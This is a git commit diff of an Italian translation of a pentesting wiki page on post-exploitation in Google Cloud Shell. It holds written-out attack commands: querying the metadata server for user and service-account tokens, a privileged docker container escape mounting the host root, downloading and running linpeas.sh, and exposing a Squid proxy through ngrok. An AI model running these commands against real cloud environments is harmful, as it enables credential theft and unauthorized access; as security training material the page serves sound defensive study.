Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:37:04 +00:00
parent 4dfe4d01f9
commit 7bb4dccb89

View File

@@ -10,40 +10,40 @@ Per maggiori informazioni su Cloud Shell consulta:
../gcp-services/gcp-cloud-shell-enum.md
{{#endref}}
### Container Escape
### Ottiene il token dell'utente dai metadata
Nota che il Google Cloud Shell viene eseguito all'interno di un container, puoi **easily escape to the host** eseguendo:
Accedendo semplicemente al metadata server puoi ottenere un token per accedere come l'utente attualmente connesso:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> In precedenza il cloud shell girava in un container con accesso al docker socket dell'host. Ora Google ha cambiato l'architettura e il container del cloud shell esegue un "Docker in a container". Quindi, anche se è possibile usare docker dal cloud shell, non potrai effettuare escape verso l'host usando il docker socket.
> Nota che in precedenza il file `docker.sock` si trovava in `/google/host/var/run/docker.sock` ma ora è stato spostato in `/run/docker.sock`.
<details>
<summary>Container escape commands</summary>
<summary>Docker use / Vecchi comandi di container escape</summary>
```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
```
</details>
Questo non è considerato una vulnerabilità da google, ma ti dà una visione più ampia di ciò che sta succedendo in quell'ambiente.
Inoltre, nota che dall'host puoi trovare un service account token:
Inoltre, in passato era possibile trovare un token per un service account usato dalla cloud shell VM nel metadata server:
<details>
<summary>Ottieni il service account dai metadata</summary>
<summary>Vecchio service account dai metadata</summary>
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
```
</details>
Con i seguenti scopes:
<details>
<summary>Ottieni service account scopes</summary>
Con i seguenti scope:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,19 +53,7 @@ https://www.googleapis.com/auth/monitoring.write
```
</details>
Enumerare i metadata con LinPEAS:
<details>
<summary>Enumerare i metadata con LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Dopo aver usato [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) con il token del Service Account **non è stato rilevato alcun permesso**...
### Usarlo come proxy
@@ -79,7 +67,7 @@ sudo apt install -y squid
```
</details>
Solo per informarti, Squid è un server proxy HTTP. Crea un file **squid.conf** con le seguenti impostazioni:
Per informazione, Squid è un server proxy HTTP. Crea un file **squid.conf** con le seguenti impostazioni:
<details>
@@ -102,17 +90,17 @@ sudo cp squid.conf /etc/squid
```
</details>
Infine avvia il servizio Squid:
Infine avvia il servizio squid:
<details>
<summary>Avvia il servizio Squid</summary>
<summary>Avvia il servizio squid</summary>
```bash
sudo service squid start
```
</details>
Usa ngrok per rendere il proxy disponibile dall'esterno:
Usa ngrok per rendere il proxy accessibile dall'esterno:
<details>
@@ -122,13 +110,13 @@ Usa ngrok per rendere il proxy disponibile dall'esterno:
```
</details>
Dopo l'esecuzione copia l'url tcp://. Se vuoi eseguire il proxy dal browser si consiglia di rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server).
Dopo l'esecuzione, copia l'URL tcp://. Se vuoi usare il proxy da un browser, è consigliato rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni proxy del browser (squid è un http proxy server).
Per un utilizzo migliore all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:
Per un uso migliore all'avvio, il file .bashrc dovrebbe contenere le seguenti righe:
<details>
<summary>Aggiungi a .bashrc per avvio automatico</summary>
<summary>Aggiungi a .bashrc per l'avvio automatico</summary>
```bash
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
```
</details>
Le istruzioni sono state copiate da [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Dai un'occhiata a quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.
Le istruzioni sono state copiate da [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Consulta quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e perfino Windows) in Cloud Shell.
{{#include ../../../banners/hacktricks-training.md}}